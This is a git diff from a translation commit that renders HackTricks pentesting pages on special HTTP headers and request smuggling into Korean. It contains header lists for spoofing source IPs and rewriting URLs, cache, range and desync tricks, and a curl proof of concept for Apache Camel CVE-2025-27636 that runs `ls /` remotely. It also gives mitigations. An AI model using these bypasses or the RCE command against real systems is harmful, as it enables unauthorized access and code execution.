Translated ['src/network-services-pentesting/pentesting-web/special-http

This commit is contained in:
Translator 2025-09-05 11:16:23 +00:00
parent 008567976f
commit d2eb1b1d91
3 changed files with 330 additions and 271 deletions

View File

@ -1,15 +1,15 @@
# Special HTTP headers
# 특수 HTTP 헤더
{{#include ../../banners/hacktricks-training.md}}
## Wordlists & Tools
## 단어 목록 & 도구
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
## Headers to Change Location
## 위치를 변경할 헤더
Rewrite **IP source**:
IP 출처 재작성:
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -26,19 +26,20 @@ Rewrite **IP source**:
- `True-Client-IP: 127.0.0.1`
- `Cluster-Client-IP: 127.0.0.1`
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (Check hop-by-hop headers)
- `Connection: close, X-Forwarded-For` (hop-by-hop 헤더 확인)
Rewrite **location**:
위치 재작성:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
## Hop-by-Hop headers
## Hop-by-Hop 헤더
A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header.
Hop-by-Hop 헤더는 end-to-end 헤더와는 달리 현재 요청을 처리 중인 proxy에서 처리되고 소비되도록 설계된 헤더입니다.
- `Connection: close, X-Forwarded-For`
{{#ref}}
../../pentesting-web/abusing-hop-by-hop-headers.md
{{#endref}}
@ -48,20 +49,40 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
- `Content-Length: 30`
- `Transfer-Encoding: chunked`
{{#ref}}
../../pentesting-web/http-request-smuggling/
{{#endref}}
## Cache Headers
## Expect 헤더
클라이언트가 `Expect: 100-continue` 헤더를 보내고 서버가 `HTTP/1.1 100 Continue`로 응답하여 클라이언트가 요청 본문 전송을 계속하도록 허용할 수 있습니다. 다만 일부 프록시는 이 헤더를 제대로 좋아하지 않습니다.
`Expect: 100-continue`의 흥미로운 결과:
- 본문을 가진 HEAD 요청을 보냈을 때, 서버가 HEAD 요청에는 본문이 없다는 점을 고려하지 않아 타임아웃까지 연결을 열어 둔 경우가 있음.
- 일부 서버는 응답에 소켓에서 읽은 랜덤 데이터, 비밀 키 등의 이상한 데이터를 보냈거나, 프론트엔드가 헤더 값을 제거하지 못하도록 허용함.
- 또한 백엔드가 100 응답 대신 400 응답으로 응답하여 `0.CL` desync가 발생하기도 했습니다. 이 경우 프록시 프론트엔드는 초기 요청의 본문 전송을 준비하고 있었기 때문에 본문을 보내고, 백엔드는 이를 새로운 요청으로 받아들였습니다.
- `Expect: y 100-continue` 같은 변형도 `0.CL` desync를 유발함.
- 백엔드가 404로 응답한 유사한 오류는 `CL.0` desync를 생성했는데, 이는 악성 요청이 `Content-Length`를 표시했기 때문에 백엔드가 악성 요청 + 다음 요청(피해자)의 `Content-Length` 바이트를 보내서 큐가 비동기화된 사례입니다. 백엔드는 악성 요청에 대해 404 응답을 보내고 피해자 요청들의 응답을 뒤이어 보냈지만, 프론트엔드는 단 하나의 요청만 보냈다고 생각하여 두 번째 응답을 다른 피해자에게 전송하고 그 응답이 다시 다음 요청으로 전달되는 등의 문제가 발생했습니다.
HTTP Request Smuggling에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
../../pentesting-web/http-request-smuggling/
{{#endref}}
## 캐시 헤더
**서버 캐시 헤더**:
- **`X-Cache`** 응답에서 요청이 캐시되지 않았을 때는 **`miss`** 값을 가질 수 있으며, 캐시되었을 때는 **`hit`** 값을 가집니다.
- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작을 합니다.
- **`Cache-Control`**은 리소스가 캐시되고 있는지와 다음에 리소스가 다시 캐시될 시간에 대해 나타냅니다: `Cache-Control: public, max-age=1800`
- **`Vary`**는 응답에서 **추가 헤더**를 나타내는 데 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다.
- **`Age`**는 객체가 프록시 캐시에 있었던 시간을 초 단위로 정의합니다.
- **`Server-Timing: cdn-cache; desc=HIT`**는 리소스가 캐시되었음을 나타냅니다.
- **`X-Cache`** 응답에서 값이 **`miss`**이면 요청이 캐시되지 않았음을, **`hit`**이면 캐시되었음을 나타낼 수 있습니다.
- 유사한 동작을 하는 헤더로 **`Cf-Cache-Status`**가 있습니다.
- **`Cache-Control`**은 자원이 캐시되는지 및 다음에 언제 다시 캐시될지를 나타냅니다: `Cache-Control: public, max-age=1800`
- **`Vary`**는 응답에서 자주 사용되며, 일반적으로 캐시 키에 포함되지 않는 추가 헤더들을 캐시 키의 일부로 취급함을 **표시**합니다.
- **`Age`**는 객체가 프록시 캐시에 머문 시간을 초 단위로 정의합니다.
- **`Server-Timing: cdn-cache; desc=HIT`** 또한 자원이 캐시되었음을 나타냅니다.
{{#ref}}
../../pentesting-web/cache-deception/
@ -69,67 +90,68 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
**로컬 캐시 헤더**:
- `Clear-Site-Data`: 제거해야 할 캐시를 나타내는 헤더: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: 응답이 만료되어야 하는 날짜/시간을 포함합니다: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache``Cache-Control: no-cache`와 동일합니다.
- `Warning`: **`Warning`** 일반 HTTP 헤더는 메시지 상태에 대한 가능한 문제에 대한 정보를 포함합니다. 응답에 여러 개의 `Warning` 헤더가 나타날 수 있습니다. `Warning: 110 anderson/1.3.37 "Response is stale"`
- `Clear-Site-Data`: 제거해야 할 캐시 유형을 지정하는 헤더: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: 응답이 만료되는 날짜/시간을 포함: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache``Cache-Control: no-cache`와 동일
- `Warning`: 일반 HTTP 헤더로 메시지 상태의 가능한 문제에 대한 정보를 포함합니다. 응답에 여러 `Warning` 헤더가 나타날 수 있습니다. 예: `Warning: 110 anderson/1.3.37 "Response is stale"`
## Conditionals
## 조건부 요청
- 이러한 헤더를 사용하는 요청: **`If-Modified-Since`** 및 **`If-Unmodified-Since`**는 응답 헤더 **`Last-Modified`**에 다른 시간이 포함된 경우에만 데이터로 응답합니다.
- **`If-Match`** 및 **`If-None-Match`** 사용하는 조건부 요청은 Etag 값을 사용하여 데이터(Etag)가 변경된 경우 웹 서버가 응답 내용을 전송합니다. `Etag`는 HTTP 응답에서 가져옵니다.
- **Etag** 값은 일반적으로 응답의 **내용**을 기반으로 **계산**됩니다. 예를 들어, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"``Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다.
- **`If-Modified-Since`** 및 **`If-Unmodified-Since`** 헤더를 사용하는 요청은 응답 헤더의 **`Last-Modified`**가 다른 시간을 포함하는 경우에만 데이터가 반환됩니다.
- **`If-Match`** 및 **`If-None-Match`** 사용하는 조건부 요청은 Etag 값을 사용하여 데이터(Etag)가 변경된 경우에만 웹 서버가 응답 내용을 전송합니다. `Etag`는 HTTP 응답에서 가져옵니다.
- **Etag** 값은 보통 응답의 **내용(content)**을 기반으로 **계산**됩니다. 예를 들어 `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"``Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다.
## Range requests
## Range 요청
- **`Accept-Ranges`**: 서버가 범위 요청을 지원하는지 여부와 범위를 표현할 수 있는 단위를 나타냅니다. `Accept-Ranges: <range-unit>`
- **`Range`**: 서버가 반환해야 하는 문서의 부분을 나타냅니다. 예를 들어, `Range:80-100`은 원래 응답의 80에서 100 바이트를 반환하며, 상태 코드는 206 Partial Content입니다. 요청에서 `Accept-Encoding` 헤더를 제거하는 것도 잊지 마세요.
- 이는 그렇지 않으면 이스케이프될 수 있는 임의의 반사된 자바스크립트 코드로 응답을 얻는 데 유용할 수 있습니다. 그러나 이를 악용하려면 요청에 이 헤더를 주입해야 합니다.
- **`If-Range`**: 주어진 etag 또는 날짜가 원격 리소스와 일치하는 경우에만 충족되는 조건부 범위 요청을 생성합니다. 이는 리소스의 호환되지 않는 버전에서 두 범위를 다운로드하는 것을 방지하는 데 사용됩니다.
- **`Content-Range`**: 전체 본문 메시지에서 부분 메시지가 속하는 위치를 나타냅니다.
- **`Accept-Ranges`**: 서버가 range 요청을 지원하는지, 지원한다면 어떤 단위로 범위를 표현할 수 있는지 나타냅니다. `Accept-Ranges: <range-unit>`
- **`Range`**: 서버가 반환해야 할 문서의 부분을 나타냅니다. 예를 들어 `Range:80-100`은 원본 응답의 바이트 80~100을 반환하며 상태 코드는 206 Partial Content가 됩니다. 또한 요청에서 `Accept-Encoding` 헤더를 제거하는 것을 잊지 마세요.
- 이는 통상적으로 이스케이프되는 반사된 javascript 코드를 임의로 포함한 응답을 얻는 데 유용할 수 있습니다. 다만 이를 악용하려면 요청에 해당 헤더들을 주입해야 합니다.
- **`If-Range`**: 주어진 etag나 날짜가 원격 자원과 일치하는 경우에만 충족되는 조건부 범위 요청을 만듭니다. 서로 호환되지 않는 버전의 리소스로부터 두 개의 범위를 다운로드하지 않도록 방지하기 위해 사용됩니다.
- **`Content-Range`**: 부분 메시지가 전체 바디 메시지의 어디에 속하는지를 나타냅니다.
## Message body information
## 메시지 본문 정보
- **`Content-Length`:** 리소스의 크기, 바이트의 10진수 수입니다.
- **`Content-Type`**: 리소스의 미디어 유형을 나타냅니다.
- **`Content-Length`**: 리소스의 크기(십진수 바이트 수).
- **`Content-Type`**: 리소스의 미디어 타입을 나타냅니다.
- **`Content-Encoding`**: 압축 알고리즘을 지정하는 데 사용됩니다.
- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호하는 언어에 따라 구분할 수 있도록 합니다.
- **`Content-Language`**: 대상 청중을 위한 인간의 언어를 설명하여 사용자가 선호하는 언어에 따라 구분할 수 있게 합니다.
- **`Content-Location`**: 반환된 데이터의 대체 위치를 나타냅니다.
펜테스트 관점에서 이 정보는 일반적으로 "쓸모없다"고 여겨지지만, 리소스가 **401** 또는 **403**으로 **보호**되고 이 **정보**를 **얻는 방법**을 찾을 수 있다면, 이는 **흥미로울 수 있습니다.**\
예를 들어, HEAD 요청에서 **`Range`**와 **`Etag`**의 조합은 HEAD 요청을 통해 페이지의 내용을 유출할 수 있습니다:
pentest 관점에서는 이 정보가 보통 "쓸모없다"보여질 수 있지만, 자원이 401 또는 403으로 보호되고 있고 이 정보를 얻을 수 있는 어떤 방법을 찾을 수 있다면 이는 흥미로울 수 있습니다.\
예를 들어 HEAD 요청에서 **`Range`**와 **`Etag`**의 조합은 HEAD 요청을 통해 페이지의 내용을 leak할 수 있습니다:
- 헤더 `Range: bytes=20-20`와 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 요청은 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 유출하고 있습니다.
- `Range: bytes=20-20` 헤더를 가진 요청과 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 경우, 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 leaking 하고 있는 것입니다.
## Server Info
## 서버 정보
- `Server: Apache/2.4.1 (Unix)`
- `X-Powered-By: PHP/5.3.3`
## Controls
## 제어
- **`Allow`**: 이 헤더는 리소스가 처리할 수 있는 HTTP 메서드를 전달하는 데 사용됩니다. 예를 들어, `Allow: GET, POST, HEAD`로 지정될 수 있으며, 이는 리소스가 이러한 메서드를 지원함을 나타냅니다.
- **`Expect`**: 클라이언트가 요청이 성공적으로 처리되기 위해 서버가 충족해야 하는 기대를 전달하는 데 사용됩니다. 일반적인 사용 사례는 클라이언트가 대량의 데이터 페이로드를 전송할 의도가 있음을 나타내는 `Expect: 100-continue` 헤더입니다. 클라이언트는 전송을 진행하기 전에 `100 (Continue)` 응답을 찾습니다. 이 메커니즘은 서버 확인을 기다림으로써 네트워크 사용을 최적화하는 데 도움이 됩니다.
- **`Allow`**: 이 헤더는 리소스가 처리할 수 있는 HTTP 메서드를 전달하는 데 사용됩니다. 예: `Allow: GET, POST, HEAD`는 해당 리소스가 이러한 메서드를 지원함을 나타냅니다.
- **`Expect`**: 클라이언트가 요청 처리를 위해 서버가 충족해야 하는 기대사항을 전달하는 데 사용됩니다. 일반적인 사용 사례는 큰 데이터 페이로드를 전송하려는 의도를 알리는 `Expect: 100-continue` 헤더로, 클라이언트는 전송을 계속하기 전에 `100 (Continue)` 응답을 기다립니다. 이 메커니즘은 서버 확인을 대기함으로써 네트워크 사용을 최적화하는 데 도움이 됩니다.
## Downloads
## 다운로드
- HTTP 응답의 **`Content-Disposition`** 헤더는 파일이 **인라인**(웹페이지 내)으로 표시되어야 하는지 또는 **첨부 파일**(다운로드)로 처리되어야 하는지를 지시합니다. 예를 들어:
응답에서 **`Content-Disposition`** 헤더는 파일을 웹페이지 내에서 표시할지(**inline**) 아니면 **attachment**로 처리할지(다운로드) 지시합니다. 예를 들어:
```
Content-Disposition: attachment; filename="filename.jpg"
```
것은 "filename.jpg"라는 이름의 파일이 다운로드되고 저장되도록 의도되었음을 의미합니다.
는 "filename.jpg"라는 파일이 다운로드되어 저장될 의도임을 의미합니다.
## 보안 헤더
### 콘텐츠 보안 정책 (CSP) <a href="#csp" id="csp"></a>
{{#ref}}
../../pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
### **신뢰할 수 있는 유형**
### **Trusted Types**
CSP를 통해 신뢰할 수 있는 유형을 강제함으로써, 애플리케이션은 DOM XSS 공격으로부터 보호될 수 있습니다. 신뢰할 수 있는 유형은 특정 보안 정책을 준수하는 특별히 제작된 객체만 위험한 웹 API 호출에 사용될 수 있도록 보장하여, 기본적으로 JavaScript 코드를 안전하게 만듭니다.
CSP를 통해 Trusted Types를 강제하면 애플리케이션을 DOM XSS 공격으로부터 보호할 수 있습니다. Trusted Types는 수립된 보안 정책을 준수하는 특정하게 생성된 객체만이 위험한 web API 호출에 사용되도록 보장하여 JavaScript 코드를 기본적으로 안전하게 합니다.
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -148,73 +170,73 @@ el.innerHTML = escaped // Results in safe assignment.
```
### **X-Content-Type-Options**
이 헤더는 MIME 타입 스니핑을 방지하며, 이는 XSS 취약점으로 이어질 수 있는 행위입니다. 이 헤더는 브라우저가 서버에서 지정한 MIME 타입을 준수하도록 보장합니다.
이 헤더는 MIME type sniffing을 방지합니다. 이는 XSS 취약점으로 이어질 수 있는 행위이며, 브라우저가 서버에서 지정한 MIME 타입을 존중하도록 보장합니다.
```
X-Content-Type-Options: nosniff
```
### **X-Frame-Options**
클릭재킹을 방지하기 위해, 이 헤더는 문서가 `<frame>`, `<iframe>`, `<embed>`, 또는 `<object>` 태그에 어떻게 포함될 수 있는지를 제한하며, 모든 문서가 자신의 포함 권한을 명시적으로 지정할 것을 권장합니다.
clickjacking을 방지하기 위해, 이 헤더는 문서가 `<frame>`, `<iframe>`, `<embed>`, 또는 `<object>` 태그에 어떻게 임베드될 수 있는지를 제한하며, 모든 문서가 임베딩 권한을 명시적으로 지정하도록 권장합니다.
```
X-Frame-Options: DENY
```
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
### **Cross-Origin Resource Policy (CORP) Cross-Origin Resource Sharing (CORS)**
CORP는 웹사이트가 로드할 수 있는 리소스를 지정하는 데 중요하며, 교차 사이트 누수를 완화합니다. 반면 CORS는 특정 조건에서 동일 출처 정책을 완화하여 보다 유연한 교차 출처 리소스 공유 메커니즘을 허용합니다.
CORP는 웹사이트가 로드할 수 있는 리소스를 지정하는 데 중요하며, 교차 사이트 leaks를 완화합니다. CORS는 반면에 보다 유연한 교차 출처 리소스 공유 메커니즘을 허용하여 특정 조건에서 동일 출처 정책을 완화합니다.
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
### **교차 출처 임베더 정책 (COEP) 및 교차 출처 오퍼너 정책 (COOP)**
COEP와 COOP는 교차 출처 격리를 가능하게 하는 데 필수적이며, Spectre와 유사한 공격의 위험을 크게 줄입니다. 이들은 각각 교차 출처 리소스의 로딩과 교차 출처 창과의 상호작용을 제어합니다.
COEP와 COOP는 교차 출처 격리를 가능하게 하는 데 필수적이며 Spectre와 유사한 공격의 위험을 크게 줄입니다. 이들은 각각 교차 출처 리소스의 로딩과 교차 출처 창과의 상호작용을 제어합니다.
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
```
### **HTTP Strict Transport Security (HSTS)**
마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호 및 보안을 강화합니다.
마지막으로, HSTS는 브라우저가 서버와 오직 보안된 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 이를 통해 개인정보 보호와 보안을 향상시킵니다.
```
Strict-Transport-Security: max-age=3153600
```
## Header Name Casing Bypass
## 헤더 이름 대소문자 우회
HTTP/1.1은 헤더 필드 이름을 **대소문자 구분 없음**으로 정의합니다 (RFC 9110 §5.1). 그럼에도 불구하고, 대소문자를 정규화하지 않고 수신된 *리터럴* 헤더 이름을 비교하는 사용자 정의 미들웨어, 보안 필터 또는 비즈니스 로직을 찾는 것은 매우 일반적입니다 (예: `header.equals("CamelExecCommandExecutable")`). 이러한 검사가 **대소문자 구분**으로 수행되면, 공격자는 다른 대문자 사용으로 동일한 헤더를 보내어 이를 우회할 수 있습니다.
HTTP/1.1은 헤더 필드 이름을 **대소문자를 구별하지 않음**으로 정의합니다 (RFC 9110 §5.1). 그럼에도 불구하고, 커스텀 미들웨어, 보안 필터, 또는 비즈니스 로직에서 수신된 *문자 그대로의* 헤더 이름을 먼저 정규화하지 않고 비교하는 경우가 매우 흔합니다(예: `header.equals("CamelExecCommandExecutable")`). 만약 이러한 검사들이 **대소문자 구분**으로 수행된다면, 공격자는 단순히 같은 헤더를 다른 대소문자 표기로 전송하는 것만으로 우회할 수 있습니다.
이 실수가 발생하는 전형적인 상황:
Typical situations where this mistake appears:
* 요청이 민감한 구성 요소에 도달하기 전에 “위험한” 내부 헤더를 차단하려고 하는 사용자 정의 허용/거부 목록.
* 역방향 프록시 의사 헤더의 사내 구현 (예: `X-Forwarded-For` 정화).
* 관리 / 디버그 엔드포인트를 노출하고 인증 또는 명령 선택을 위해 헤더 이름에 의존하는 프레임워크.
* 요청이 민감한 컴포넌트에 도달하기 전에 “위험한” 내부 헤더를 차단하려는 커스텀 허용/거부 목록.
* 리버스-프록시 의사 헤더의 사내 구현(예: `X-Forwarded-For` sanitisation).
* 관리/디버그 엔드포인트를 노출하고 인증이나 명령 선택에 헤더 이름을 사용하는 프레임워크.
### Abusing the bypass
### 우회 악용
1. 서버 측에서 필터링되거나 검증되는 헤더를 식별합니다 (예: 소스 코드, 문서 또는 오류 메시지를 읽어).
2. **다른 대소문자로 동일한 헤더**를 보냅니다 (혼합 대소문자 또는 대문자). HTTP 스택은 일반적으로 사용자 코드가 실행된 후에만 헤더를 정규화하므로, 취약한 검사를 건너뛸 수 있습니다.
3. 하위 구성 요소가 헤더를 대소문자 구분 없이 처리하면 (대부분 그렇습니다), 공격자가 제어하는 값을 수락합니다.
1. 서버 측에서 필터링되거나 검증되는 헤더를 식별합니다(예: 소스 코드, 문서, 오류 메시지를 통해).
2. 같은 헤더를 **다른 대소문자 표기**(혼합 대/소문자 또는 모두 대문자)로 전송합니다. HTTP 스택은 일반적으로 헤더를 사용자 코드가 실행된 *후에* 정규화하므로, 취약한 검사를 건너뛸 수 있습니다.
3. 하위 구성요소가 헤더를 대소문자 구분 없이 처리한다면(대부분 그렇다), 공격자가 제어한 값을 수용하게 됩니다.
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
### 예시: Apache Camel `exec` RCE (CVE-2025-27636)
취약한 버전의 Apache Camel에서 *Command Center* 라우트는 `CamelExecCommandExecutable``CamelExecCommandArgs` 헤더를 제거하여 신뢰할 수 없는 요청을 차단하려고 합니다. 비교는 `equals()`로 수행되었으므로 정확한 소문자 이름만 제거되었습니다.
취약한 버전의 Apache Camel에서 *Command Center* 라우트는 신뢰할 수 없는 요청을 차단하기 위해 `CamelExecCommandExecutable``CamelExecCommandArgs` 헤더를 제거하려고 합니다. 비교는 `equals()`로 수행되어 정확히 일치하는 소문자 이름만 제거되었습니다.
```bash
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
```
헤더는 필터링되지 않은 상태로 `exec` 구성 요소에 도달하여 Camel 프로세스의 권한으로 원격 명령 실행을 초래합니다.
헤더`exec` 컴포넌트에 필터링 없이 전달되어 Camel 프로세스 권한으로 remote command execution이 발생합니다.
### 탐지 및 완화
* 모든 헤더 이름을 단일 대소문자(일반적으로 소문자)로 정규화합니다 **전**에 허용/거부 비교를 수행합니다.
* 의심스러운 중복을 거부합니다: `Header:``HeAdEr:`가 모두 존재하는 경우 이를 이상으로 간주합니다.
* 정규화 **후**에 시행되는 긍정적 허용 목록을 사용합니다.
* 관리 엔드포인트를 인증 및 네트워크 분할로 보호합니다.
* 모든 헤더 이름을 단일 케이스(보통 lowercase)로 정규화하세요 — allow/deny 비교를 수행하기 **전에**.
* 의심스러운 중복을 거부하세요: `Header:``HeAdEr:`가 동시에 존재하면 이상으로 처리하세요.
* 정규화(canonicalisation) 후에 적용되는 positive allow-list를 사용하세요.
* 관리 엔드포인트는 인증과 네트워크 분리로 보호하세요.
## 참
## 참고 자료
- [CVE-2025-27636 RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)

View File

@ -5,67 +5,78 @@
## 개요
이 취약점은 **desyncronization**이 **front-end proxies**와 **back-end** 서버 사이에서 발생하여, **attacker**가 **send**한 HTTP **request**가 **front-end** proxies(로드 밸런서/리버스-프록시)에는 **single request**로, **back-end** 서버에는 **as 2 request**로 **interpreted**될 때 발생합니다.\
이로 인해 사용자는 **modify the next request that arrives to the back-end server after his** 할 수 있게 됩니다.
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**가 발생하여 **공격자**가 **프론트엔드** 프록시(로드 밸런서/리버스 프록시)에는 **단일 요청**으로 **해석**되지만 **백엔드**에는 **2개의 요청**으로 **해석**되는 HTTP **request**를 **전송**할 수 있을 때 발생합니다.\
이로 인해 사용자는 **자신의 요청 이후에 백엔드 서버로 도착하는 다음 요청을 수정**할 수 있게 됩니다.
### 이론
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
>
> 메시지가 Transfer-Encoding 헤더 필드와 Content-Length 헤더 필드를 둘 다 포함하여 수신된 경우, 후자는 무시되어야 한다.
**Content-Length**
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
>
> Content-Length 엔터티 헤더는 수신자에게 전송되는 엔터티 본문의 크기를 바이트 단위로 나타냅니다.
**Transfer-Encoding: chunked**
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
> Chunked means that large data is sent in a series of chunks
>
> Transfer-Encoding 헤더는 payload body를 안전하게 전송하기 위해 사용되는 인코딩 형식을 지정합니다.\
> Chunked는 큰 데이터를 연속된 청크들로 전송함을 의미합니다.
### 실제
### 실제 상황
**Front-End**(로드-밸런서/리버스-프록시)가 _**Content-Length**_ 또는 _**Transfer-Encoding**_ 헤더를 처리하고, **Back-end** 서버가 _다른_ 헤더를 처리하면서 두 시스템 간에 **desyncronization**이 발생합니다.\
이것은 매우 치명적일 수 있는데, **attacker**가 리버스-프록시에 한 요청을 보내면 **back-end** 서버는 그것을 **2개의 다른 요청**으로 해석할 수 있기 때문입니다. 이 기법의 위험은 **back-end** 서버가 **주입된 2번째 요청을 다음 클라이언트로부터 온 것으로 취급**하고, 해당 클라이언트의 실제 요청이 **주입된 요청의 일부**가 된다는 점에 있습니다.
**프론트엔드**(로드밸런서 / 리버스 프록시)가 _**Content-Length**_ 또는 _**Transfer-Encoding**_ 헤더 중 하나를 **처리**하고, **백엔드** 서버가 **다른 것**을 처리하면서 두 시스템 간에 **비동기화**가 발생합니다.\
이것은 매우 치명적일 수 있는데, 공격자가 리버스 프록시에 하나의 요청을 보내면 **백엔드** 서버가 이를 **두 개의 서로 다른 요청으로 해석**할 수 있기 때문입니다. 이 기법의 위험성은 백엔드 서버가 **주입된 두 번째 요청**을 **다음 클라이언트로부터 온 것**으로 해석하고, 그 클라이언트의 실제 요청이 **주입된 요청의 일부**가 되어버린다는 점에 있습니다.
### 세부사항
HTTP에서 **new line** 문자는 2바이트로 구성된다는 점을 기억하세요:
HTTP에서 **새 줄(new line)** 문자는 **2바이트**로 구성된다는 것을 기억하세요:
- **Content-Length**: 이 헤더는 요청 본문의 바이트 수를 나타내는 **10진수**를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 기대되며, 요청 끝에 별도의 new line은 필요하지 않습니다.
- **Transfer-Encoding:** 이 헤더는 본문에서 다음 청크의 크기를 나타내는 **16진수** 숫자를 사용합니다. 청크는 **new line**으로 끝나야 하지만, 이 new line은 길이 표시에는 포함되지 않습니다. 이 전송 방식은 `0` 크기의 청크가 나오고 이어서 2개의 new line으로 끝나야 합니다: `0`
- **Connection**: 제 경험상 request Smuggling의 첫 요청에는 **`Connection: keep-alive`** 사용을 권장합니다.
- **Content-Length**: 이 헤더는 요청 본문의 바이트 수를 나타내기 위해 **십진수(decimal)** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 기대되며, **요청 끝에 새 줄이 필요하지 않습니다**.
- **Transfer-Encoding:** 이 헤더는 본문에서 **다음 청크의 바이트 수를 나타내기 위해 16진수(hexadecimal)** 숫자를 사용합니다. 각 **청크는 새 줄로 끝나야** 하지만 이 새 줄은 길이 지시자에 포함되지 않습니다. 이 전송 방식은 **크기가 0인 청크와 그 뒤에 2개의 새 줄**로 끝나야 합니다: `0`
- **Connection**: 제 경험상, Request Smuggling의 첫 번째 요청에는 **`Connection: keep-alive`**를 사용하는 것이 권장됩니다.
## 기본 예제
### Visible - Hidden
HTTP/1.1의 주요 문제는 모든 요청이 같은 TCP 소켓으로 들어오므로, 두 시스템 간에 불일치가 있으면 하나의 요청을 최종 백엔드(또는 중간 시스템)에 의해 2개 이상의 서로 다른 요청으로 처리되게 보낼 수 있다는 것입니다.
**[This blog post](https://portswigger.net/research/http1-must-die)**는 WAF에 의해 탐지되지 않는 시스템에 대한 desync 공격을 탐지하는 새로운 방법을 제시합니다. 이를 위해 Visible vs Hidden 동작을 소개합니다. 이 경우의 목표는 실제로 아무것도 악용하지 않고도 desync를 유발할 수 있는 기법을 사용해 응답의 불일치를 찾으려는 것입니다.
예를 들어, 정상적인 Host 헤더와 " host" 헤더(앞에 공백 포함)를 함께 전송했을 때, 백엔드가 이 요청에 대해 불만을 표시한다면(예: " host"의 값이 잘못되었다는 이유 등) 이는 프론트엔드가 " host" 헤더를 보지 못했지만 최종 백엔드는 그것을 사용했음을 의미할 수 있으며, 이는 프론트엔드와 백엔드 사이의 desync를 강하게 시사합니다.
이것은 **Hidden-Visible 불일치**가 됩니다.
반대로 프론트엔드가 " host" 헤더를 고려했지만 백엔드가 고려하지 않았다면, 이것은 **Visible-Hidden** 상황이 될 수 있습니다.
예를 들어, AWS ALB를 프론트엔드로 사용하고 IIS를 백엔드로 사용하는 환경에서 desync를 발견할 수 있었습니다. "Host: foo/bar"를 보냈을 때 ALB는 `400, Server; awselb/2.0`을 반환했지만, "Host : foo/bar"(호스트 이름 앞의 공백 포함)를 보냈을 때는 `400, Server: Microsoft-HTTPAPI/2.0`을 반환하여 백엔드가 응답을 보내고 있음을 나타냈습니다. 이는 Hidden-Visible(H-V) 상황입니다.
이 상황은 AWS에서 자동으로 수정되지는 않았지만, `routing.http.drop_invalid_header_fields.enabled`를 설정하고 `routing.http.desync_mitigation_mode = strictest`로 설정하면 방지할 수 있습니다.
## 기본 예시
> [!TIP]
> Burp Suite로 이 취약점을 시도할 때는 repeater에서 `Update Content-Length``Normalize HTTP/1 line endings`를 비활성화하세요. 일부 가젯은 newlines, carriage returns 및 malformed content-lengths를 악용합니다.
> Burp Suite로 이를 시도할 때는 리피터에서 **`Update Content-Length``Normalize HTTP/1 line endings`를 비활성화**하세요. 일부 gadget은 개행, carriage return 및 잘못된 content-length를 악용합니다.
HTTP request smuggling 공격은 front-end와 back-end 서버가 `Content-Length`(CL)와 `Transfer-Encoding`(TE) 헤더를 해석하는 방식의 불일치를 악용하도록 모호한 요청을 전송하여 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, **TE.TE**의 형태로 나타납니다. 각 유형은 front-end와 back-end가 해당 헤더들을 우선적으로 처리하는 서로 다른 조합을 나타냅니다. 취약점은 동일한 요청을 서버들이 서로 다르게 처리하면서 발생하며, 이는 예기치 않은 및 악의적인 결과를 초래할 수 있습니다.
